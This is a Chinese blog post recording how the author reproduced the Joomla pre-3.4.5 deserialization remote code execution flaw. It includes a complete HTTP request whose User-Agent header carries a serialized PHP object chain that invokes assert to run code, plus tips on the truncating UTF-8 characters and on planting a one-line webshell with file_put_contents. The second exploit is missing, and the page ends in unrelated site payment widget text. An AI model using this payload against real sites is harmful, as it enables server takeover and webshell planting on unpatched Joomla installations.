Joomla反序列化通杀漏洞(版本低于3.4.5)复现的那些坑

本文详细记录了复现Joomla低于3.4.5版本的反序列化远程代码执行漏洞的过程,包括遇到的问题和解决办法。通过发送特定的HTTP请求包,利用phpinfo进行代码执行,以及使用file_put_contents函数写入一句话木马,强调了路径绝对地址和字符截断的准确性。最后给出了获取shell的脚本和测试截图。
摘要由CSDN通过智能技术生成

      这是最近流出来的一个漏洞,利用Joomla反序列化可以造成远程代码执行。关于该漏洞的分析可以参考一下链接:

      wooyun drops上的:http://drops.wooyun.org/papers/11330

      Freebuf上的:http://www.freebuf.com/vuls/89754.html

      360播报上的:http://bobao.360.cn/learning/detail/2501.html

      自定义生成Exp序列化的程序:http://sandbox.onlinephpfunctions.com/code/d7a86325f725cbe9e7a60ef696d65593f6abdc1f

      在这里,记录一下我自己复现漏洞时候遇到的坑。细节很重要呐,最后复现成功才发现问题所在。

      首先是关于phpinfo的代码执行,这个复现起来比较简单。Exp如下:

GET /joomla/ HTTP/1.1
Host: 192.168.145.130
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:31:"phpinfo();JFactory::get();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}~Ù
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: max-age=0

      首先是发送带Exp的包,获取cookie:

1

      然后用获取的cookies再次发包即可完成代码执行:

2

      这里要特别注意截断的那几个字符是不是正确,这个是关键。看一下那几个字符(只要是utf-8中4字节的都可以,范围U+010000至U+10FFFF,具体原因可以参照前面漏洞分析):

3

      好了,关于代码执行的复现到此为止。

      我们接下来完成一句话的复现,在这里花了比较多的时间。我采用的是file_put_contents函数来写入一句话,这里特别强调一点,写入的地址是要使用路径绝对地址的,不然写入不成功。坑呀!

      关于Web服务器网站路径,可以在phpinfo执行的时候获取到,然后拼接出shell的地址即可。对要写入的内容可以用base64先编码,然后file_put_contents的时候解码即可。

      Exp的内容如下:

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值